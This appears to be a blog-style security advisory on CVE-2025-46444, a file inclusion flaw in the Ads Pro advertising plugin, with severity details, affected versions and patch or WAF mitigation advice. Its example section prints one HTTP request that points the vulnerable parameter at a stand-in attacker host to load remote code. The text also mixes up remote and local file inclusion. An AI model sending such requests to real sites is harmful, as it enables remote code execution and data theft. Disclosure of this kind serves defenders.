Overview
This blog post aims to provide an in-depth understanding of the CVE-2025-46444 vulnerability. This security flaw is associated with the Ads Pro Plugin for scripteo, a plugin predominantly used for managing and selling advertising spaces. The vulnerability arises from an improper control of filename for Include/Require Statement in PHP Program (‘PHP Remote File Inclusion’). Owing to this, the plugin allows PHP Local File Inclusion, potentially leading to system compromise or data leakage. The vulnerability is particularly critical to businesses and organizations that use the Ads Pro Plugin for their advertising needs, as it can lead to unauthorized access and potential exploitation of sensitive data.
Vulnerability Summary
CVE ID: CVE-2025-46444
Severity: High (8.1 CVSS Score)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System Compromise and Data Leakage
Affected Products
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Product | Affected Versions
Ads Pro Plugin | n/a through 4.88
How the Exploit Works
The vulnerability arises due to the improper control of the filename for Include/Require Statement in the PHP Program. It is related to a ‘PHP Remote File Inclusion’ (RFI) scenario, wherein an attacker can inject a file from a remote server. The flaw is a result of the inability of the application to properly sanitize user-supplied input. As a result, an attacker could manipulate the filename argument to reference a file on a remote server, leading to local file inclusion (LFI). This could allow the attacker to execute arbitrary code, potentially compromising the system and causing data leakage.
Conceptual Example Code
Below is a conceptual example of how an attacker might exploit this vulnerability:
GET /path/to/vulnerable/script.php?filename=http://malicious.com/malicious_code.txt HTTP/1.1
Host: target.example.comIn this example, the attacker is attempting to exploit the RFI vulnerability in `script.php` by supplying a malicious filename argument. This filename argument (`http://malicious.com/malicious_code.txt`) is a URL that points to a file hosted on the attacker’s server. If the application fails to sanitize this input correctly, it could result in the inclusion and execution of the malicious code within the context of the application.
Mitigation Guidance
The most effective solution to this vulnerability is to apply the vendor-supplied patch. For those who are unable to apply the patch immediately, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. These systems can help to detect and block suspicious and malicious activity, thereby reducing the potential impact of the vulnerability. However, these should only be considered as temporary solutions, and it is strongly recommended to apply the vendor patch as soon as possible to ensure comprehensive protection.